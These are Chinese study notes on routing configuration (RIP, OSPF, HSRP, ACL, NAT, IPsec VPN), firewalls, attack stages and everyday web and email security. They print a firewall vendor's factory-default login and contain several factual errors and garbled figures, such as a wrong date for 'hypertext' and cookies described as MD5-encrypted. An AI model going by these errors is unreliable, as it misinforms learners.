1. 距离矢量路由协议:依据从源网络到目标网络所经过的路由器的个数选择路由,如:PIR、IGRP。
2. 链路状态路由协议:综合考虑从源网络到目标网络的各条路径的情况选择路由,如:OSPF、IS-IS。
  1. RIP有一个基本概念,定期更新与邻居应为动态路由需要和其他路由去沟通将自己的路由表与其他人的路由表交换写入(PIP默认时间是30表更新一次),广播更新与全路由表更新应为它会以广播的形式发送给每个路由,并且是把路由表完全交换。

  2. RIP度量值是条数,最大条数为15次,16次为不可达。每间隔30s发送路由更新新消息使用UDP 520端口。

  3. 执行水平分割可以阻止路由环路的发生,从一个接口学习到路由信息,不再从这个接口发送出去,同时也能减少路由更新信息占用的链路带宽资源。

    静态路由表,需要在路由器上的每个端口配置ip地址,跨越多个局域网

# 思科模拟器进入rommon的方法是重启设备并镜像加载时按下CTRL+C
# 跨越多个局域网,使用serial DCE连接需要路由器使用WIC-2T模块。

en
config t
int range f0/0-1
no shutdown
int f0/0
ip address 192.168.1.254 255.255.255.0
clock rate 9600										# 时钟频率
no shutdown
int s0/3/0
ip address 192.168.2.1 255.255.255.0
clock rate 9600
no shutdown
exit
ip route 192.168.4.0 255.255.255.0 192.168.2.2

en
config t
int range f0/0-1
no shutdown
int s0/3/1
ip address 192.168.2.2 255.255.255.0
clock rate 9600
no shutdown
int s0/3/0
ip address 192.168.3.1 255.255.255.0
clock rate 9600
no shutdown
exit
ip route 192.168.1.0 255.255.255.0 192.168.2.1
ip route 192.168.4.0 255.255.255.0 192.168.3.2

en
config t
int f0/0
ip address 192.168.4.254 255.255.255.0
no shutdown
int s0/3/1
ip address 192.168.3.2 255.255.255.0
no shutdown
exit
ip route 192.168.1.0 255.255.255.0 192.168.3.1

# 动态路由表rip
en
config t
int f0/1
ip address 192.168.1.254 255.255.255.0
no shutdown
int f0/0
ip address 192.168.2.1 255.255.255.0
no shutdown
exit
router rip											# 指定协议
version 2											# 指定版本
network <ip>										# 指定ip,注意是路由器之间的网段
no auto-summary										# 关闭自动汇总

en
config t
int f0/0
ip address 192.168.5.254 255.255.255.0
no shutdown
int s0/0/0
ip address 192.168.4.2 255.255.255.0
no shutdown
router rip
version 2
network <ip>

# 动态路由表ospf
en
config t
int f0/1
ip address 192.168.1.254 255.255.255.0
no shutdown
int f0/0
ip address 192.168.2.1 255.255.255.0
no shutdown
exit
router ospf 100										# 指定协议
network <ip> <mask>	area 0							# 指定ip,注意是后面的是区域0是主、其他都是副
no auto-summary										# 关闭自动汇总

en
config t
int f0/0
ip address 192.168.5.254 255.255.255.0
no shutdown
int s0/0/0
ip address 192.168.4.2 255.255.255.0
no shutdown
router ospf 100										# 指定协议
network <ip> <mask>	area 0							# 指定ip,注意是后面的是区域0是主、其他都是副
HSRP协议
  1. HSRP协议和VRRP协议一样只是HSRP是私有,而VRRP是公有。热备份路由协议备份的是网关。

  2. HSRP组的成员,虚拟路由器是管理者,优先级高的是活跃路由器和一个备份路由器。优先级1-255默认是100,HSRP通信是用探测包探测,默认是3秒一个。
    活跃路由器内网断了,会被备份路由器所替代,而外网断了并不影响他给备份路由器发送正常包导致无法访问外网。我们可以将出包设置为活跃路由器把入包设置为备份路由器,这样活跃路由器坏了后可以正常通信。

  3. 给路由器配置热备份,配置组和ipstandby "组号" ip “组地址”,再配置优先级standby "组号" priority "优先级1-255"。在活跃路由器还需要配置跟踪,配置到外网端口standby "组号" track "端口"

  4. 其他配置相同在备份路由器中配置,抢占优先级standby "组号" preempt。查看的命令show standby br

  5. 如果网络中出现环路,就会逻辑关闭几条线路,只有在另一条坏了后才会使用。

访问控制列表(ACL)
  1. 防火墙诞生之初,从来也不是防病毒和木马。病毒和木马是5层,而防火墙并不做数据过滤,如果做过滤的话就会降低效率了。

  2. ACL原理:ACL表必须应用到接口的进或出方向才生效!、一个接口的一个方向只能应用一张表!、进或出取决于流量控制总方向。

  3. ACL表是自上而下的,需要将严格的写在上面,把不严格的写在下面,这样就可以精准控制了。ACL表分为标准和扩展

  4. 标准ACL的表号:1-99,只能基于源ip对包进行过滤。

    int f0/0
    ip address 192.168.1.1 255.255.255.0
    no shutdown
    int f0/1
    ip address 192.168.2.1 255.255.255.0
    no shutdown
    exit
    access-list 1 deny 192.168.3.1 0.0.0.255 # 标准ACL只能设置入,并不能设置目标,如果你要限制一个网段去另外一个网段时需要设置到不可去网段的出接口,使用反子网掩码。相等access-list 1 deny host 192.168.3.1
    access-list 1 permit any
    int f0/0
    ip access-group 1 in # 应用到指定接口
    exit
    do show ip access-list 1 # 查看ACL表
    no access-list 1 # 关闭指定表

  5. 扩展ACL的表号:100-199,可以基于源ip、目标ip、端口号、协议等对包进行过滤。(deny是拒绝,permit是允许)

2. 不管标准还是扩展ACL最后边需要些允许其他ip访问,不然就不会生效“acc 表号 permit any”。
3. 扩展ACL使用的命令“access-list 表号 permit|deny 协议 源ip|源网段 反子网掩码 目标ip|源网段 反子网掩码 [eq 端口号]”。协议有:tcp、udp、icmp、ip。扩展ACL在选择协议时,加端口号只能使用tcp和udp协议,不加端口号四个都可以加。
4. 命名ACL可以对标准或扩展ACL进行自定义命名,自定义命名更容易辨认,也便于记忆。命名ACL可以删除其中一条或插入一条记录。使用的命令是“ip access-list extended ACLname”,使用命令后会进入记录模式,记录是不需要写“access-list 表号”了。使用“no id”可以删除一条记录,也可以使用“id 记录”插入一条记录。
网络地址转换(NAT)
  1. 网络中的ip地址分为公有ip和私有ip,在10.0.0.0/8和172.16.0.0/16-172.31.0.0/16和192.168.0.0/16这个范围的都是私有地址。NAT用于私有ip和公有ip的转换,如果没有NAT你就无法上网了。
  2. NAT需要定义内外网络端口,并且遵循内到外:转换源ip、外到内:转换目标ip。内网pc访问外网时先将表交给路由器,路由器判断你是不是去外网,如果是它就会去NAT地址转换表中查找有没有对应记录,如果有就将其把源地址转换为购买的外网ip地址。
  3. nat静态是通过工程师写入的映射表,而动态是通过常见两个地址池,内网一个外网一个,原理一样需要替换时去对应的地址池查并生成映射记录,以你最后一次通信24小时后删除。
  4. pat端口地址转换,在前两个中外网地址是无法同时被多个人使用,而使用pat可以同时有多个人使用。pat在内网发出时会携带端口和ip,到地址池后判断ip生成映射条目,映射条目中会将带来的端口号存放并生成虚拟端口号给包和表。包回来时通过判断虚拟端口号来制定对应条目,而且pat生成的对应条目只会在最后一次通信存在60秒。也称为端口复用技术。
  5. 定义内网端口命令,先进入指定端口再使用命令“ip nat inside”。定义外网端口命令,先进入指定端口再使用命令“ip nat outside”。
  6. 定义内部地址池“acc 表号 permit "ip” “反子网掩码”,这里的表并不做过滤制作选择。
  7. 做PAT动态映射表命令“ip nat inside source list 表号 int f0/1 overload”,只要满足表就可以通过f0/1端口并使用复用。
  8. 配置静态端口转换命令,“ip nat inside source static 协议 内ip 内端口 外ip 外端口”,查看nat表“sh ip nat translations”,清空nat表“clear ip nat translation *”。
虚拟专有网络(VPN)
  1. VPN可以实现在不安全的网络上,安全的传输数据。VPN只是一个技术,使用PKI技术来保证数据的安全三要素:机密性、完整性、身份验证。

  2. VPN分为:远程访问,一般用来个人到安全连接企业内部,如:PPTP VPN、L2TP VPN、SSTP VPN、SSL VPN。点到点VPN,一般用在企业对企业安全连接,如:IPsecVPN。

  3. VPN隧道优点:安全性和合并两家企业内网。VPN隧道技术有两个模式:传输模式和隧道模式,默认是隧道模式。

  4. 传输模式:只加密上层数据,不加密私有ip包头,速度快。原理:在发出包时加密数据,到内网出接口时将ip放到包头可选项中,把公网ip写到并发送过去,另一个内网接受到后,把可选项ip取出放到位置,发给用户解密使用。

  5. 隧道模式:加密整个私有ip,包括ip包头,更安全,速度慢。原理:是发送到路由器将整个包封装发送到用户内网解密发送给用户。
    IPsecVPN分为2大阶段

1. 第一阶段:管理连接,通过双方设备和非对称加密算法加密对称加密算法所使用的对称秘钥。
    
            conf t
    crypto isakmp policy 序号                           //传输集
        encryption [des|3des|aes]                      //对称密码
        hash [md5|sha]                                 //完整性
        group [1|2|5]                                  //非对称密码,默认是DH,1/2/5代表长度
        authentication pre-share                       //身份验证,预共享密钥
        lifetime “秒”                                   //默认86400秒后失效
        exit
    crypto isakmp key "预共享密钥" address “对方的公网ip地址”
    

2. 第二阶段:数据连接,通过对称加密算法加密实际所要传输的数据。
    
            access-list 100 permit ip “源ip” “源反子网掩码” “目标ip” “目标反子网掩码”       //只有ip是源网段中的并且要去目标网段的才会触发隧道。
    crypto ipsec transform-set “自定传输模式名” esp/ah-[des|3des|aes] [esp|ah]-[md5|sha]-hmac
    	//ESP:支持加密及认证(身份验证+完整性)
    	//AH:只支持认证(身份验证+完整性)
    	//hmac:调用预共享密钥实现身份验证
    
    

3. MAP映射表用于将两个阶段的存放
    
            conf t
    crypto map 定义map名 序号 isakmp
        match address acl表名
        set transform-set 定义传输模式名
        set peer 对方公网ip
        exit
    

4. 将map表应用到外网端口
    
            int fo/1                               //外网端口
        crypto map map名
        exit
    //一个接口只能应用一个map表,但是可以使用相同名称用号区分来应用多张表。阶段一和map的序号并不是同一个序号。
    

5. 查看
    
            show crypto isakmp policy          //查看第一阶段
    show crypto ipsec transform-set//查看第二阶段
    show crypto isakmp sa                //查看第一阶段的状态
    show crypto ipsec sa                   //查看第二阶段的状态
    //第一阶段是有默认值的也可以不配置。
    

6. 内网到外网的路由器过程:路由 – NAT – VPN – 出去。

7. 远程访问VPN的工作原理:

  1. 用户访问公司VPN服务器是需要登录,如果登录成功VPN服务器会分配预留的ip地址和权限给远端用户,用户使用分配的IP访问公司内网指定私有ip,VPN软件会将封装并将两个公网ip添加,到 公司VPN服务器后VPN会通过私有ip发送给内网指定电脑的。
8. 使用2008上的VPN服务器部署

  1. 打开一个xp,两个2008,xp进入网段一,一个2008进入网段一和二另一个进入网段二并打开web服务器。
  2. 在进入了连个网段的服务器上点击开始中的管理工具菜单下的“路由和远程访问”(VPN的TCP端口号是1723)。
  3. 本地右键启用在对话框中选择“自定义配置”后,选择“VPN访问”,拨号访问、NAT和基本防火墙后下一步即可。远程访问拨号创建用户后右键属性,点击拨入将其选择“允许”。
  4. 本地右键属性,选择安全“将省份验证选择”选择win验证后,点击IP将其选择静态地址池并添加即可。
  5. 找到路由选择中的“NAT配置”NAT将送来的包发出去。NAT右键“新建接口”,选择第二网段接口后,在对话框中选择在公网接口连接到Internet和在此接口上启用NAT即可。
  6. xp上部署客户端,上网邻居右键属性,右侧新建一个连接后会出现对话框,选择“连接到我的工作场所的网络”,选择“虚拟专用网络连接”,写入名称和ip即可。
  7. 这用不同网络的可以通过VPN服务器安全通信了。
  8. 我们使用两块网卡来搭建是为了好理解,真实网络中一块网卡就可以了。PC电脑的路由表。查看命令“route print”,启用了拨号除本网段外的都会走隧道。

防火墙

  1. 防火墙的定义是一款具备安全防护功能的网络设备。隔离网络是将需要保护的网络与不可信人的网路进行隔离,隐藏信息并进行安全防护。
  2. 防火墙基本功能:访问控制、攻击防护、荣誉设计、路由、交换、日志记录、虚拟专网VPN、NAT。
  3. 区域隔离防火墙分为三个区域:内网区域、DMZ区域也称为隔离区、外部区域。内可以访问其他两个区域、DMZ可以访问外,而外不可以访问内,只能访问DMZ中开放的端口,DMZ就是公司的服务器区。
  4. 防火墙的分类:形态分为软件防火墙和硬件防火墙。按技术实现分为:包获取防火墙、状态检测包过滤防火墙、应用(代理)防火墙、应用层防火墙。
  5. 防火墙的发展历史:包过滤防火墙是最早之一的功能简单和配置复杂的防火墙、应用网关防火墙是最早之二的连接效率低速度慢的防火墙、状态检测防火墙是现代最主流速度快配置方便功能多的防火墙。未来防火墙向高速对七层数据进行检测。
  6. 应用代理是用户将包发出到防火墙后,防火墙拿出数据后,防火墙拿着数据去访问服务器,所实现的代理。
  7. 应用网关型防火墙也叫应用代理防火墙,每个代理需要一个不同的应用进程或一个后台运行的服务程序,对每个新的应用必须添加针对此应用服务程序,否则不能使用该服务。安全高、检查内容、连接性能差、可伸缩性差。
  8. 状态检测防火墙的工作原理:内网到用户把包发出到防火墙,防火墙先检查状态,如果没有就记录ip、端口和生成的虚拟端口,再检查策略和路由,只要创建记录后下次内网访问外网时只需要检查状态即可(记录只会在最后一个通信后存在60秒)。回来时也一样先检查状态如果没有就检查策略,这里要注意的是外网来的包无法创建状态记录。
  9. 衡量防火墙性能的5大指标:
    1. 吞吐量:在不丢包的情况下单位时间内通过的数据包数量
    2. 时延:数据包第一个比特进入防火墙到最后一比特从防火墙输出的时间间隔
    3. 丢包率:通过防火墙传送时所丢失数据包数量占所发送数据包的比率
    4. 并发连接数:防火墙能够同时处理的点对点连接的最大数目
    5. 新建连接数:在不丢包的倩况下每秒可以建立的最大连接数
  10. 防火墙的工作模式分为透明模式、路由模式、混合模式。
  11. 透明模式早期称为桥模式一般用于用户网络已经建设完毕,网络功能基本已经实现的情况下,用户需要加装防火墙以实现安全区域隔离需求。防火墙接口处于二层接口通过端口隔离。
  12. 路由模式也称为NAT模式一般用于防火墙当作路由器和NAT设备连接上网的同时,提供安全过滤功能。防火墙接口处于三层接口通过ip隔离。
    混合模式一般网络情况为透明模式和路由模式的混合。
部署天融信防火墙
  1. 天融信防火墙出厂时自带一个默认用户“superman”和密码“talent”。直接访问防火墙的ip就可以打开登录页面了。
  2. 使用一个防火墙设备和两个2003与一个xp做实验。先将计算机和防火墙连接并配置ip和子网掩码。打开网页防火墙并登录,选择资源管理的区域设置三个区域。
  3. 选择网络管理的端口后你可以看见哪几个是被使用的,然后点击编辑对端口做配置。选择防火墙的访问控制编写策略并做地址转换。
  4. 选择资源管理找到地址,在其中添加地址,添加地址是为了以后服务器ip更换后只需要修改地址就可以了,不需要修改其他配置。
  5. 源转换做完后做目标转换时写策略,SK是先做策略后做目标转换,天融信是先做目标转换后做策略。
  6. HA是实现防火墙和防火墙之间做备份的技术,两台防火墙的内网接口和外网接口IP地址一样,只有防火墙和防火墙之间的心跳线ip不一样。
  7. 网络管理中选择接口后,编写物理接口并添写,一定要把“非同步地址”勾选,应为他是心跳线接口。选择高可用性中的高可用性后选择双机热备份即可。在另一台上做法一样的配置,除IP和主从不一样(配置一台交换机时可以将另一台防火墙的网线拔掉)

信息安全

  1. 信息安全是一个抽象的概念,国际标准化组织(iso)认为信息安全是指通过技术和管理对计算机软硬件和数据不因偶然或恶意原因遭受破坏或更改。
  2. 信息安全是防止未经授权的对象访问、使用、拨露、中断、修改、检查、记录或破坏信息的做法。
  3. 凡是涉及信息系统中信息的保密性、完整性、可用性、可控性和不可否认性的相关和理论都市信息安全所要研究的领域,也是信息安全发展的五个基本要素。保密性是不被未授权的实体进程所知、完整性是指信息在存储和传输过程中不被非法篡改、可用性是信息能被授权实体进程正常使用、可控性是信息传输的范围是可控的、不可否认性也就是抗抵赖性,指接收到的信息包含一定凭证可以让发信息方无法否认发过该信息。

黑客

  1. 黑客(Hacker)一词来源于英语单词“hack”。在线新华字典给出的解释是:“指精通电子计算机技术善于从互联网中发现漏洞并提出改进措施的人”,“指通过互联网非法侵入他人的计算机系统查看、更改、窃取保密数据或干扰计算机程序的人”。美国《发现》杂志对对黑客的定义是以下五类人。研究计算机程序并以此增长自身技巧的人、对编程有无穷兴趣和热忱的人、能快速编程的人、某专门系统的专家、恶意闯入他人的计算机系统,意图盗取敏感信息的人。前四种为“白帽黑客”,第五种为“黑帽黑客”。

  2. 近年来,网络攻击事件频发,使黑客这个群体进入人们的视野。开发者在设计实现一个产品的时候会有考虑不周的地方。这个世界上不存在绝对安全的系统,实践是检验真理的唯一标准,设备、系统、软件和协议只有在实际运行中接受实践的考验,不断完善修补才能越完全。黑客是对检测人员的一个补充。黑客是主流中的支流,虽然永远不可能成为主流,但却是主流中不可或缺的一部分。

  3. 黑客攻击过程,黑客的攻击技术有很多;但是攻击的步骤基本是不变的。可以把黑客攻击分为:踩点、扫描、查点、访问、提升权限、窃取信息、掩踪灭迹、创建后门、拒绝服务。

1. 踩点是黑客在攻击之前通过一定手段收集目标主机的ip、操作系统类型和版本等基本信息,再根据目标主机的这些信息确定最终的攻击方案。
2. 扫描是在评估完目标系统之后,黑客需要收集或者编写合适的工具来评估目标系统,识别监听服务,确定大致的攻击方向。
3. 查点是针对系统上的有效用户账号或共享资源,进行更多入侵探测。
4. 访问是根据前面步骤所得到的信息,连接目标机并对其进行远程控制。
5. 提升权限是如果前面还只是到普通用户的权限,通过确定方式提升账户权限以便于更好地控制目标机。
6. 窃取信息是控制目标主机之后,黑客就可以在目标机上窃取想要的信息。黑客守则,不做损害他人利益的事情。
7. 掩踪灭迹是完成攻击之后,黑客需要进行痕迹清除,以免被目标主机发现。
8. 创建后门是黑客的一次攻击基本完成,为了方便下一次入侵,他们往往会在系统上留下后门。
9. 拒绝服务是入侵者无法获得访问权限,但是又志在必得,则有可能会借助最后一招,使用早准备好的漏洞代码使目标系统瘫痪。
  1. 黑客攻击事件
1. 史上知名的一些黑客袭击时间1988年,康奈尔大学研究生罗伯特.摩尔斯(22岁)向互联网上传了一个“蠕虫”程序。初心是探测互联网有多大,没想到以不可控的方式自我复制,使6000台计算机遭破坏。
2. 2007年,有一个名为“熊猫烧香”的蠕虫病毒在网络上肆虐。是中国湖北的李俊为炫技而编写,主要通过下载文档传播。
3. 2010年,震网病毒(stuxnet)于6月首次被检测出来,他是一个席卷全球工业界的病毒。
  1. 黑客的发展趋势
1. 手段高明化,黑客界已经意识个人力量远远不够了,已经形成了一个团体,利用网络进行交流和团体攻击,五相交流经验和自己写工具。
2. 活动频繁化,做一个黑客不再需要掌握大量的软硬件知识,黑客工具的大众化只要学几个工具就可以做攻击活动,也是频繁的主要原因。
3. 动机复杂化,以前是狂热的计算机技术爱好者,现在的动机多样化、复杂化,可能是处于政治目的、金钱诱惑或报复心理。

即时通信软件安全

  1. 即时通信(Instant Message,IM)是一种使人们能够在网上识别在线用户并与他们实施交换信息的技术,是电子邮件发明以来迅速崛起的有一种在线通信方式。
  2. 1996年,三个以色列人维斯格、瓦迪和高德芬格聚在一起,决定开发一种是人与人在互联网上能够快速直接交流的软件。他们于1996年7月成立Mirabilis公司,并于同年11月推出时间第一款即时通信软件ICQ。
即时通信软件工作原理
  1. 即时通信软件是通过即时通信技术实现在线交流的软件。
  2. 即时通信软件架构,目前主流的即时通信软件主要有两种结构形式:
    1. 客户端/服务器(Client/Server,C/S)模式,用户使用前需要下载并安装,C/S架构典型代表有:腾讯QQ\微信、阿里旺旺、百度HI、Skype、Gtalk、新浪UC、MSN、飞信等。
    2. 浏览器/服务器(Browser/Server,B/S)模式,无须下载直接访问即可,经典的代表有:Website Live、53KF、Live800等。
  3. 即时通信工作过程
    1. 常见的即时通信软件有基于TCP/IP协议簇中的TCP进行通信,也有基于UDP的。TCP和UDP是建立在网络层的ip上的两种不同的通信传输协议。前者是以数据流的形式将数据分割、打包后,在虚电路上进行连续的、双向的、严格保证数据正确性的传输控制协议。而后者是以数据报的形式拆分后的数据先后到达顺序,不做要求的用户数据报协议。一般以UDP为主,TCP为辅。
    2. 即时通信软件工作过程:User A Client input username and password 发送request,Server Database 查询对比,如果成功。向a发送Json类型的状态码,与此同时,Server读取User A 的好友list,向其中在线的用户发送 User A 的状态。
即时通信软件安全隐患
  1. 因即时通信软件使用过程中产生的信息泄露导致的犯罪时间时有发生。

  2. 用户或软件泄露信息

1. 用户使用电话号、其他个人信息、朋友圈都有泄露的可能,需要谨慎使用。
2. 软件的好友推荐泄露真实姓名、推测好友的好友、附近的人、这些功能开发国语完善导致无意识泄露。
  1. 如何安全地使用
1. User Login :不要随意告诉别人密码和验证码,谨慎对待收到的不明文件。
2. QQ空间和朋友圈:谨慎晒带有敏感信息的图片、家人图片、位置信息、对好友进行分组。

电子邮件安全

  1. 电子邮件(Electronic Mail ,Email),是一种依赖于互联网技术进行信息交换的通信方式。电子邮件可以与世界上任何角落的用户进行文字、图像、音视频等多种形式的信息交互。

  2. 关于世界上的第一封电子邮件的说法有两种:1969年10月lenoard K.教授因此被称为“电子邮件之父”。另一种1971年美国国防部资助的Arpatnet项目中产生的。

  3. 国内外常见的知名免费邮箱:微软(Hotmail)、雅虎(yahoo!Mail)、Google(Gmail)、AOL(Aol Mail)、Zoho(Zoho Mail)、苹果(iCloud Mail)、网易(163/126/yeah)、腾讯(QQ邮箱)。

  4. 邮件工作原理

1. User A Login Email, 单击“写信”后填写收件地,并写title and body。
2. User A 单击“发送”,此时电子邮件交给用户代理。
3. 电子邮件通过网络传送到63电子邮件服务器。
4. 163 Server 通过地址转发给对应Server,并保存在收件人的邮件缓存中。
5. 当User B login Email 时,邮件从他的收件人邮箱中传输到用户b的用户代理并显示出来。
6. User B open Email 浏览。
  1. 邮件地址和密码安全
1. 地址: 
  1. 电子邮件地址格式:电子邮件是一个字符串,可以唯一地标识一个邮箱;电子邮箱通过@符号作为间隔符,@left UserName,@right Email Server。
  2. 电子邮件地址的安全隐患:电子邮件地址包含敏感信息、电子邮件地址的对外公开性。
2. 密码: 
  1. 在登录电子邮件时需要输入电子邮件和密码进行身份验证。电子邮件的安全性绝大部分依赖于密码的安全。
  2. 设置高安全性的密码、定期更改密码、不使用“免登录”或“记住密码”功能。
  1. 邮件传输安全
1. 在邮件的收发默认采用pop3/smtp协议,pop3/smtp协议时建立在tcp/ip协议上的。tcp/ip协议是以明文进行传输的,这是极为不安全的。
2. 基于这些问题,SSL/TLS应运而生,SSL(Secure Sockets Lsyer,安全套接层)及其继任者TLS(Transport Layer Security,传输层安全)是为网络通信提供安全及数据完整性的一种安全协议。使用SSL/TLS可以进行安全的tcp/ip链接,传输过程中都是以密文的形式显示。
  1. 邮件垃圾
1. 垃圾邮件分为商业广告邮件、政治言论邮件、蠕虫病毒邮件、诈骗邮件。
2. 电子邮件地址收集者一般通过一下方式:电子邮件自动手机软件、人工收集、黑客获取、第三方购买。

Web安全

web简介
  1. 万维网(world wide web,www)也成为web。文本建立再internet上,是一个以图形化界面提供全球性、跨平台的信息查找和浏览服务的分布式图形信息系统。
  2. 1987年苹果公司比尔.阿特金森设计的超媒体应用程序超卡(Hyper card)。超卡万维网极其相似,甚至远远超过万维网,可以为四最后万维网成功了?其根本原因是缺少能够承受超媒体的互联网,终究只是一个有限的自封闭系统。
  3. 1980年再欧洲计算机程序员伯纳斯.李在欧洲量子实验室中心(CERN)做咨询时,产生了不同Server连接的想法。他与罗伯特.卡雷欧一起编写了lENQUIRE来帮助工作人员查找CERN中心所使用的于各种软件之间的关联,该系统体现了万维网的核心思想,成为万维网的典型。1989年3月 伯纳斯.李向CERN中心提交了一份后来被称为“万维网蓝图”。1990年11月12日 他与罗伯特.卡雷欧合作提出了更加正式的关于万维网的建议。1991年8月6日 ,他在alt,hypertext新闻组上发布了万维网项目简介,这一天也标志着internet上万维网公共服务的首次亮相。
  4. 一般地,万维网系统中有web服务器和web客户端两个角色。web服务器负责提供信息;client就是各种浏览器,负责把浏览器传送过来的信息显示出来。
URL
  1. 统称资源定位符(Uniform Resource Loactor,url)也成为web地址,它标识了信息资源在网络中的存放位置。
  2. URL格式为:“协议”+://+主机名+:+端口号+目录路劲+文件名。
  3. 协议是指网络中传递信息所使用的标准。常用的有http:超文本文件服务、https:安全版超文本文件服务、ftp:文件传输服务、gopher:gopher信息查找服务、news:Usenet新闻组服务、telnet:远程主机连接服务、wais:WAIS服务器连接服务。
  4. 主机名指存放资源的服务器的域名或IP地址。
  5. 端口号用于区分一台服务器上的不同服务,其范围是165535,其中,11024为保留端口。
HTTP
  1. 1863年,美国人德特 纳尔逊创造了术语“超文本”;1981年,德特在著作中描写超文本是一个全球化德大文档,文档的各个部分在全球德服务器中通过“链接”来完成页面跳转。也是http的发展根基。
  2. 所谓的超链接,指从一个王爷的对象指向一个目标的链接关系。
  3. 超文本传输协议(Hyper Text Transfer Protocol,HTTP)是用于从Web服务器传输超文本到本地浏览器的传输协议。
  4. http是一个工作于Client-Server的请求/应答协议,工作流程图如下:
    1. 客户端判断用户在地址栏中输入的是域名还是ip地址,如果是域名,则启动dns解析查询。
    2. Client向web发起TCP连接请求,如果server可以提供服务,就发送一个同意连接的回应报文,Client收到后会再 次回复确认报文。自此,client-server的tcp连接完成。
    3. Client向server发送页面请求报文。web server收到请求之后,发送页面响应报文。
    4. Client收到数据后,显示到用户面前。当User动作完成,关闭网页时,Client和Server之间执行“四次挥手”来断开之间的TCP连接。
WEB安全威胁的类别
  1. 针对web的攻击大致可以分为一下几种类别。
    1. Web Server的安全威胁,主流软件有Apache、IIS、Nginx、Tomcat及Jboss等,都存在一些安全漏洞,攻击都可以利用这些漏洞发起攻击。
    2. 针对Web Application的安全威胁,开发人员使用ASP、JSP、PHP等脚本语言进行Web应用开发。语言本身可能存在一些漏洞,加上程序员的编写习惯,安全意识等因素,Web Application中可能存在一些安全漏洞。
    3. 针对传输协议的安全威胁,HTTP本身是一个明文传输协议。传输时报文需要在多个交换机或路由器的转发,在这个过程中及易遭受黑客窃听导致信息泄露。
    4. 针对Web Client的安全威胁,Web浏览器作为访问Web主要工具,其基本功能需要将GUI请求与HTTP请求相互转换。在这个过程中浏览器本身的漏洞,用户操作不当等导致网页挂马、浏览器挟持、Cookie欺骗等安全威胁。
  2. Web浏览器的安全威胁
    1. Cookie
    1. HTTP是无状态的,没法依靠HTTP来保持用户在线状态。
    2. 1994年6月,网景通信公司的Lou Moutulli提出在用户的计算机上存放一个小的文件来记录用户对网站的访问情况。这个想法后来演变成最初的Netscape Cookie规范,目前采用的Cookie技术的标准RFC6265于2011年4月发布。在HTTP请求时默认携带的一段文本片段,进行session跟踪而存储在用户本地终端上的数据。
    3. Cookie技术很好地解决了用户在线状态保持的问题。Session跟踪等都是通过Cookie技术实现。
    4. 隐私安全和广告,有网站滥用Cookie在未经访问者许可,利用搜索引擎技术,数据挖掘技术甚至网络欺骗技术收集他人的个人资料,通过Cookie给用户推送广告。
    5. Cookie欺骗,Cookie欺骗是通过盗取、修改、伪造Cookie的内容来欺骗Web系统并得到相应权限或者进行相应权限操作的一种攻击方式。虽然目前Cookie信息在网络上传输时都是经过MD5加密的,但是仍然无法消除欺骗带来的安全隐患。
2. 网页挂马 
  1. 网页挂马是黑客通过服务器漏洞,web application漏洞,网站敏感文件扫描等方法获得网站Administrator后,将自己编写的网页木马嵌入网页。 
    1. 框架挂马是最常见的挂马方式,一般是在目前网页的某个位置添加一行挂马的程序。
    2. 脚本挂马是通过脚本语言调用来挂马,挂的文件可以是HTMl或js挂马的形式可以是明文也可以是密文。
    3. 图片挂马是利用图片来伪装木马,黑客使用特定的工具将木马植入特定的图片中,达到掩人耳目的目的。
3. 浏览器挟持 
  1. 浏览器挟持是通过浏览器插件、BHO、WinsockLSP等对用户的浏览器进行篡改,使用户访问时被转向恶意网页等。
Web浏览器的安全防范
  1. web程序应用作为当今网络应用体系的主角,吸引着庞大的用户群体,而浏览器又是主要的web客户端之一,因此浏览器的安全显得尤为重要。
  2. 关闭自动完成功能是在使用浏览器的过程中,用户经常需要输入网址、用户名、密码等条目以便访问某个网页。浏览器存储以方便下次使用。
  3. Cookie设置可以避免隐私安全的泄露。
  4. 安全区域设置是可以保证用户访问的安全区域,来保护用户信息安全。
  5. SmartScreen筛选器是微软IE/Edge浏览器中的一种网站检测功能,主要以三个方面保护用户的信息。
    1. 分析用户所浏览的页面是否可疑页面。
    2. 根据所报告的网络钓鱼站点和恶意软件的动态列表检查用户所访问的站点。
    3. 根据所报告的恶意软件站点和已知不安全程序的列查用户从web下载的文件。
  6. 防跟踪指网站、第三方内容提供商、广告商和其他各方通过访问页面掌握用户如何与站点进行交互的方法。
    1. 启用跟踪保护可以有效地控制潜在威胁代码的执行。
    2. 启用“DNT功能”是一个能避免用户被从未访问的第三方内容提供商跟踪的浏览器功能。
  7. 隐私模式访问是浏览器访问页面后,要丢掉但并没有的信息。
  8. 位置信息是指用户的物理位置。

电子商务安全

  1. 电子商务是以信息网络技术为手段,以商品交换为中心的商务活动,是全球各地广泛的商业贸易话动中的一种型商业运营模式。

  2. 常见的电子商务模式以下5种:企业对企业(Business to Business,B2B)、企业对消费者(Business to Consumer, B2C)、消费者对消费者(Consumer to Consumer,C2C)、线下至线下(Onlineo to Online,O2O)、消费者对企业(Consumer to Business,C2B)

  3. 电子商务中的实体对象 无论是那一种模式的电子商务,基本都涉及4个实体对象,即交易平台、交易平台经营者、站内经营者和支付系统。

  4. 电子商务交易平台安全

1. 电子商务交易平台的安全隐患 常见的安全隐患有以下几个方面,平台漏洞、恶意攻击、内部攻击。
2. 电子商务交易平台的安全防范 对运营商来说,应该定期进项漏洞扫描和补丁安装。 对于用户来说,选择可靠的电商平台。
3. 支付安全,实名注册账户并绑定银行卡、浏览,选购商品、填写收货信息并下单、 在线支付、双方核对订单、 物流公司发货、 用户确认收货、用户对商品评价。
4. 账户安全 
  1. 安装安全控件是为了防止用户账号和密码被木马程序或者病毒盗取。
  2. 安装数字证书是荣国数据加密,数字签名等技术实现对信息传输的保密性、完整性的有效保障。
  3. 使用支付盾是将电子认证服务机构为客户提供的数字证书保存在USBKey中。
  4. 设置安全保护问题主要于在pc端找回登录密码,支付密码和申请证书。
  5. 设置安全的密码并妥善保管。
  1. 验证码安全
1. 验证码-全自动区分计算机和人类的图灵测试(Completely Automatecl Public Turing Test to tell Conmputers and Humans Apart,CAPTCHA),是一种区分用户是计算机还是人的公共全自动程序。
2. 二维码安全 二维码(Quick Response Code,QRCode)得到了大范围的普及。二维码可以过去、跳转、管理、支付、溯源。可是隐患是显而易见的,隐藏木马或病毒的二维码、付款码。 付款码保管好、不随意分享,选择可靠的官方二维码、不随意扫码。
3. 支付宝免密支付和亲密付 支付宝中有一个小额免密支付功能,无须数据密码下单即可完成交易。
  1. 网络钓鱼
